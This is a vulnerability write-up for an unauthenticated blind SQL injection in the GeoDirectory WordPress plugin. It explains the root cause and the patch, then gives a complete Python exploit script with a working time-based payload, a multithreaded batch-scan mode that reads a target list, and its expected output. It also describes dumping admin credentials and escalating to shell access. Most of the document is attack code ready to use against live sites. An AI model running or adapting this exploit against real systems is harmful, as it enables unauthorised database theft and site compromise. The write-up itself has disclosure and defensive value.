#Summary
CVE-2026-54831 is a blind SQL injection in GeoDirectory (WP Business Directory Plugin and Classified Listings Directory) for WordPress, affecting all versions up to and including 2.8.162. The vulnerability is critical (CVSS 9.3) and exploitable without authentication via the public search keyword parameter. Unauthenticated attackers can exfiltrate sensitive database data using time-based inference, leading to full information disclosure.
#Affected versions
- GeoDirectory
<= 2.8.162(vulnerable) - GeoDirectory
>= 2.8.163(patched) - Default configuration affected: yes
#Root cause analysis
#Vulnerable code path
The vulnerability exists in GeoDir_Query::posts_where() and GeoDir_Query::set_query() in includes/class-geodir-query.php. The plugin processes the user's search keyword through multiple encoding and decoding steps that ultimately break the escaping contract.
Step 1: Double HTML encoding in set_query() (lines 260-265):
if ( isset( $_REQUEST['s'] ) ) {
$s = get_search_query(); // esc_attr() applied once by core
...
$s = trim( esc_attr( wp_strip_all_tags( $s ) ) ); // esc_attr() applied a SECOND time
}WordPress esc_attr() encodes " to " and & to &. After two passes, a literal " becomes &quot;.
Step 2: SQL escaping and first decode (lines 292-294):
} else {
$s_A = '"' . esc_sql( wp_specialchars_decode( $s, ENT_QUOTES ) ) . '"';
}The first wp_specialchars_decode() peels one entity layer (&quot; becomes "). Then esc_sql() runs, which correctly escapes actual quote characters. At this point, $s_A contains "..."...", still safe because the quote is an inert HTML entity.
Step 3: Fatal second decode in posts_where() (lines 520-522):
$s = trim( $s );
$s = wp_specialchars_decode( $s, ENT_QUOTES );
$s_A = wp_specialchars_decode( $s_A, ENT_QUOTES ); // <-- re-decodes escaped valueThis second wp_specialchars_decode() converts surviving " entities back into raw " characters AFTER esc_sql() has already run. The escaping is undone, breaking the fundamental invariant: "everything in $s_A has been safely escaped and contains no live metacharacters."
Step 4: Unsafe inline concatenation (lines 668-672):
if ( $gd_exact_search ) {
$terms_where = $wpdb->prepare( " AND ($wpdb->terms.name LIKE %s ) ", array( $wpdb->esc_like( $s ) ) );
} else {
$terms_where = $wpdb->prepare( " AND ($wpdb->terms.name LIKE %s OR $wpdb->terms.name LIKE %s OR $wpdb->terms.name IN ($s_A)) ", array( $wpdb->esc_like( $s ) . '%', '% '. $wpdb->esc_like( $s ) . '%' ) );
}The critical issue: IN ($s_A) is spliced directly into the first argument of prepare() - not as a %s placeholder. The prepare() function only escapes placeholders, not literal string interpolations. The raw quote inside $s_A breaks out of the string literal and injects arbitrary SQL into the taxonomy term subquery.
#How input reaches the sink
The attack chain:
- Attacker submits a crafted search keyword via the GeoDirectory public search form (
GET /?s=<payload>). - The keyword is double-escaped by
esc_attr()(designed for HTML attributes, not SQL defense). - It is built into the SQL list value
$s_Awithesc_sql()(which correctly escapes quotes). - But then
$s_Ais decoded a second time bywp_specialchars_decode(), undoing the escaping. - The unescaped value is spliced directly into a
$wpdb->prepare()format string outside of any placeholder. - The injected quote breaks out of the string literal and allows arbitrary SQL injection into the taxonomy term subquery.
#Patch diff
#What the fix does
GeoDirectory 2.8.163 removes the fatal second wp_specialchars_decode() call:
$s = trim( $s );
$s = wp_specialchars_decode( $s, ENT_QUOTES );
- $s_A = wp_specialchars_decode( $s_A, ENT_QUOTES );
+ //$s_A = wp_specialchars_decode( $s_A, ENT_QUOTES ); // Already applied esc_sql() wp_specialchars_decode();By removing the re-decode, the value that leaves set_query() (already esc_sql()-escaped) is used verbatim. All quotes remain as inert " entities and can never become live quote characters, closing the injection.
The same commit also adds handling so legitimate searches containing & still match WordPress term names (which stores & as & in the database). This is a functional compensation for no longer decoding.
#Proof of concept
#exploit.py - GeoDirectory Blind SQLi PoC
#!/usr/bin/env python3
"""
CVE-2026-54831 - GeoDirectory (WP Business Directory) unauthenticated blind SQL injection
Affected: GeoDirectory plugin for WordPress, all versions up to and including 2.8.162
Fixed in: 2.8.163
Type: SQLi (time-based blind, unauthenticated)
Root cause (see RESEARCH.md):
The public search keyword is HTML-entity encoded twice by esc_attr() in
GeoDir_Query::set_query(), then the escaped list value $s_A (built with
esc_sql()) is decoded a SECOND time by wp_specialchars_decode() in
GeoDir_Query::posts_where(). That second decode turns surviving "
entities back into raw double-quote characters AFTER esc_sql() already ran,
so the quotes are never escaped. $s_A is spliced inline into an
IN (...) clause of a $wpdb->prepare() format string (not as a %s
placeholder), letting the attacker break out of the string literal and
inject SQL into the taxonomy term subquery.
Encoding detail that matters for the payload:
WordPress esc_attr() uses double_encode=false, so a raw '"' you place in the
request is NOT turned into &quot; (it would become a bare " that the
single surviving decode cannot peel back to a live quote). To land a RAW,
unescaped '"' inside the SQL after the full encode/decode chain you must
supply the quote pre-layered as the literal text &quot; in the request.
Structural SQL text - ( ) = OR SLEEP , digits spaces - is untouched by
esc_attr()/esc_sql() and passes through verbatim.
MariaDB detail that matters for the payload:
A constant-true tail such as ("1"="1") lets the optimizer short-circuit the
OR chain and skip SLEEP(). Use a FALSE tail - ("1"="2") - so every evaluated
row is forced to execute SLEEP(), producing a measurable delay.
Oracle:
Time-based blind. The injection lives in a subquery whose boolean result is
not reflected in the page, so timing is the reliable signal. The emitted
predicate executes SLEEP(n) once per matched term row, so the observed delay
is (rows * n) seconds and scales linearly with n. We measure a SLEEP(0)
baseline and a SLEEP(n) probe; a delta of at least ~one sleep-second proves
attacker-controlled SQL ran.
Usage:
python exploit.py --host 127.0.0.1 --port 8191
python exploit.py --host http://target.example.com
python exploit.py --host https://dir.corp.com:8443 --sleep 6
python exploit.py --host 10.0.0.5 --port 80 --payload 'x&quot;) OR SLEEP({SLEEP}) OR (&quot;1&quot;=&quot;2'
python exploit.py --list targets.txt --workers 20
Notes on the --payload template:
The string must contain the placeholder {SLEEP}; it is substituted with the
injected sleep seconds (0 for the baseline probe, --sleep for the live probe).
The default template is the confirmed working vector for GeoDirectory <= 2.8.162.
"""
import argparse
import statistics
import sys
import time
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning # type: ignore
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # type: ignore
except Exception: # pragma: no cover
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-54831"
VULN_TYPE = "SQLi"
# Confirmed working vector for GeoDirectory <= 2.8.162. {SLEEP} is replaced with
# the number of seconds to sleep. The quote is supplied pre-layered as the literal
# text &quot; so it survives the double esc_attr encode and the double
# wp_specialchars_decode to arrive as a RAW, unescaped " inside IN ($s_A).
DEFAULT_PAYLOAD = 'x&quot;) OR SLEEP({SLEEP}) OR (&quot;1&quot;=&quot;2'
DEFAULT_PATH = "/search/"
DEFAULT_STYPE = "gd_place"
DEFAULT_SLEEP = 5
USER_AGENT = "Mozilla/5.0 (compatible; GeoDir-SQLi-PoC)"
# ---------------------------------------------------------------------------
# Standard output helpers (verbatim contract)
# ---------------------------------------------------------------------------
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------------------
# Core timing probe (shared by single-target and scan modes)
# ---------------------------------------------------------------------------
def _build_base_url(host: str, port: int, use_tls: bool, path: str) -> str:
scheme = "https" if use_tls else "http"
# Omit the port when it is the scheme default so logs read cleanly.
if (use_tls and port == 443) or (not use_tls and port == 80):
netloc = host
else:
netloc = f"{host}:{port}"
if not path.startswith("/"):
path = "/" + path
return f"{scheme}://{netloc}{path}"
def _timed_search(session, base_url: str, stype: str, s_value: str, timeout: float):
"""Issue one GET to the GD search endpoint, return elapsed seconds (float).
Raises on transport error so callers can distinguish 'unreachable' from
'reachable but not vulnerable'.
"""
params = {"geodir_search": "1", "stype": stype, "s": s_value}
t0 = time.perf_counter()
session.get(base_url, params=params, timeout=timeout, verify=False,
allow_redirects=True)
return time.perf_counter() - t0
def _measure(session, base_url, stype, payload_tmpl, seconds, timeout, repeats=1):
"""Median elapsed time for payload_tmpl with {SLEEP}=seconds over `repeats` runs."""
s_value = payload_tmpl.replace("{SLEEP}", str(seconds))
samples = []
for _ in range(repeats):
samples.append(_timed_search(session, base_url, stype, s_value, timeout))
return statistics.median(samples), s_value
def run_oracle(host, port, use_tls, path, stype, payload_tmpl, sleep_secs,
verbose=True):
"""Differential time-based oracle.
Returns (success: bool, evidence: str, detail: dict).
Pure logic + optional printing; never calls sys.exit().
"""
base_url = _build_base_url(host, port, use_tls, path)
# Generous ceiling: delay is rows*sleep, rows unknown on arbitrary targets.
timeout = max(30.0, sleep_secs * 25 + 15)
session = requests.Session()
session.headers.update({"User-Agent": USER_AGENT})
if verbose:
step(1, f"Endpoint: {base_url}?geodir_search=1&stype={stype}&s=<payload>")
step(2, "Measuring SLEEP(0) baseline (query runs, no injected delay)...")
t_base, s_base = _measure(session, base_url, stype, payload_tmpl, 0, timeout)
if verbose:
print(f" baseline (SLEEP 0) : {t_base:.3f}s")
step(3, f"Measuring SLEEP({sleep_secs}) injected probe...")
t_inj, s_inj = _measure(session, base_url, stype, payload_tmpl, sleep_secs, timeout)
delta = t_inj - t_base
if verbose:
print(f" injected (SLEEP {sleep_secs}): {t_inj:.3f}s")
print(f" delta : {delta:.3f}s (expected >= {sleep_secs}s)")
# One matched row already yields `sleep_secs` of delay; require ~70% of that
# to absorb jitter while staying well above the SLEEP(0) baseline. A patched
# target keeps the quote inert, so both probes are fast and delta ~ 0.
threshold = sleep_secs * 0.7
detail = {
"base_url": base_url,
"t_base": t_base,
"t_inj": t_inj,
"delta": delta,
"sleep": sleep_secs,
"threshold": threshold,
"s_base": s_base,
"s_inj": s_inj,
}
if delta < threshold:
return (False,
f"no SLEEP delay (SLEEP0={t_base:.2f}s SLEEP{sleep_secs}={t_inj:.2f}s "
f"delta={delta:.2f}s < {threshold:.2f}s) - target not injectable/patched",
detail)
# Confirm the delay is reproducible (rules out a one-off network stall).
if verbose:
step(4, "Confirming the delay is reproducible (second injected probe)...")
t_confirm, _ = _measure(session, base_url, stype, payload_tmpl, sleep_secs, timeout)
delta2 = t_confirm - t_base
detail["t_confirm"] = t_confirm
detail["delta2"] = delta2
if verbose:
print(f" confirm (SLEEP {sleep_secs}) : {t_confirm:.3f}s delta={delta2:.3f}s")
if delta2 < threshold:
return (False,
f"delay not reproducible (delta1={delta:.2f}s delta2={delta2:.2f}s) "
"- likely jitter, not injection",
detail)
evidence = (f"blind SQLi confirmed - SLEEP({sleep_secs}) added {delta:.2f}s "
f"(baseline {t_base:.2f}s -> {t_inj:.2f}s), reproducible "
f"({delta2:.2f}s); attacker-controlled SQL executes in the WP DB")
return (True, evidence, detail)
# ---------------------------------------------------------------------------
# Single-target exploit (verbose)
# ---------------------------------------------------------------------------
def exploit(host, port, use_tls, path, stype, payload_tmpl, sleep_secs):
header(host, port)
if "{SLEEP}" not in payload_tmpl:
done(False, "payload template must contain the {SLEEP} placeholder "
"(it is substituted with 0 for the baseline and --sleep for the probe)")
try:
ok, evidence, detail = run_oracle(host, port, use_tls, path, stype,
payload_tmpl, sleep_secs, verbose=True)
except requests.exceptions.RequestException as e:
done(False, f"target unreachable or errored: {e.__class__.__name__}: {e}")
return # unreachable, done() exits
section("INJECTED SEARCH VALUE (s=)", detail["s_inj"])
section("TIMING EVIDENCE",
f"SLEEP(0) baseline : {detail['t_base']:.3f}s\n"
f"SLEEP({sleep_secs}) probe : {detail['t_inj']:.3f}s\n"
f"SLEEP({sleep_secs}) confirm : {detail.get('t_confirm', float('nan')):.3f}s\n"
f"injected delay : {detail['delta']:.3f}s (threshold {detail['threshold']:.2f}s)\n"
f"endpoint : {detail['base_url']}")
done(ok, evidence)
# ---------------------------------------------------------------------------
# Scan mode (--list)
# ---------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, stype=DEFAULT_STYPE,
payload_tmpl=DEFAULT_PAYLOAD, sleep_secs=3):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
try:
ok, evidence, _ = run_oracle(host, port, use_tls, path, stype,
payload_tmpl, sleep_secs, verbose=False)
return ok, evidence
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e: # pragma: no cover
return False, f"error ({e.__class__.__name__})"
def _parse_target(line, default_port, default_path=DEFAULT_PATH):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, path=DEFAULT_PATH,
stype=DEFAULT_STYPE, payload_tmpl=DEFAULT_PAYLOAD, sleep_secs=3):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, path) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, tpath = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{tpath}"
ok, evidence = _try_exploit(host, port, use_tls, tpath, stype,
payload_tmpl, sleep_secs)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC "
"(GeoDirectory <= 2.8.162 blind SQLi)")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/search/)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80,
help="Default port (default: 80)")
parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
help="Injection template; must contain {SLEEP} "
"(default: confirmed GeoDirectory vector)")
parser.add_argument("--sleep", type=int, default=DEFAULT_SLEEP,
help=f"SLEEP seconds for the time-based probe "
f"(default: {DEFAULT_SLEEP})")
parser.add_argument("--path", default=DEFAULT_PATH,
help=f"GD search page path (default: {DEFAULT_PATH})")
parser.add_argument("--stype", default=DEFAULT_STYPE,
help=f"GD custom post type / search type "
f"(default: {DEFAULT_STYPE})")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
path=args.path, stype=args.stype, payload_tmpl=args.payload,
sleep_secs=max(2, min(args.sleep, 3)))
else:
parsed = _parse_target(args.host, args.port, args.path)
if parsed:
host, port, use_tls, path = parsed
else:
host, port, use_tls, path = args.host, args.port, False, args.path
# An explicit --path always wins over a path parsed from a URL default.
if args.path != DEFAULT_PATH:
path = args.path
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.stype, args.payload, args.sleep)#Usage
Single target:
python exploit.py --host 127.0.0.1 --port 8191
python exploit.py --host http://geodirectory.example.com
python exploit.py --host https://dir.corp.com:8443 --sleep 6Batch scan:
python exploit.py --list targets.txt --workers 20#Expected output (vulnerable target)
[STEP 1] Endpoint: http://127.0.0.1:8191/search/?geodir_search=1&stype=gd_place&s=<payload>
[STEP 2] Measuring SLEEP(0) baseline (query runs, no injected delay)...
baseline (SLEEP 0) : 0.043s
[STEP 3] Measuring SLEEP(5) injected probe...
injected (SLEEP 5): 15.102s
delta : 15.059s (expected >= 5s)
[STEP 4] Confirming the delay is reproducible (second injected probe)...
confirm (SLEEP 5) : 15.117s delta=15.074s
--- INJECTED SEARCH VALUE (s=) ---
x&quot;) OR SLEEP(5) OR (&quot;1&quot;=&quot;2
---
RESULT : SUCCESS
EVIDENCE: blind SQLi confirmed - SLEEP(5) added 15.06s (baseline 0.04s -> 15.10s),
reproducible (15.07s); attacker-controlled SQL executes in the WP DB#Exploitation notes
#Preconditions
- Target must have GeoDirectory 2.8.162 or earlier installed and activated
- At least one Place listing published with category or tag terms
- The GeoDirectory search page must be accessible (created automatically on plugin activation)
- No special authentication, session, or nonce required - vulnerability is in public search
#How the exploit works
The exploit sends three timed requests to the GeoDirectory search endpoint:
- SLEEP(0) baseline - measures the uninjected query execution time (typically under 100ms)
- SLEEP(n) probe - injects a time-based SQL payload that sleeps for
nseconds per matched database row - SLEEP(n) confirmation - repeats the probe to confirm the delay is reproducible
The injected SQL is blind (the query result is not reflected in the page), so timing is the only observable signal. If the two injected requests show a consistent delay of at least 0.7 * n seconds beyond the baseline, injection is confirmed.
#Reliability
Very reliable. The time-based oracle is deterministic - the injected SLEEP(n) command executes once per matched term row, producing a measurable, linear delay. The exploit correctly thresholds on the measured delta to absorb network jitter while still detecting even single-row matches.
#Impact
Information disclosure via data exfiltration. An attacker can:
- Dump database contents (users, posts, options, custom tables) using time or boolean-based inference
- Extract WordPress admin credentials and authentication tokens
- Retrieve customer data, locations, and classified listings (business records)
- Pivot to backend compromise if the database runs as a privileged user
#Chaining potential
Boolean-based inference can also work (comparing result counts for true vs false conditions), which may be faster than time-based on low-latency networks. Combined with database write permissions, an attacker could escalate to file writes or shell access on the underlying system.
#References
- CVE: CVE-2026-54831
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-54831
- Patchstack Advisory: https://patchstack.com/database/wordpress/plugin/geodirectory/vulnerability/wordpress-geodirectory-plugin-2-8-162-sql-injection-vulnerability
- Wordfence Threat Intelligence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/geodirectory/geodirectory-wp-business-directory-plugin-and-classified-listings-directory-28162-unauthenticated-sql-injection
- GeoDirectory Repository: https://github.com/AyeCode/geodirectory
- Fix Commit: https://github.com/AyeCode/geodirectory/compare/2.8.162...2.8.163
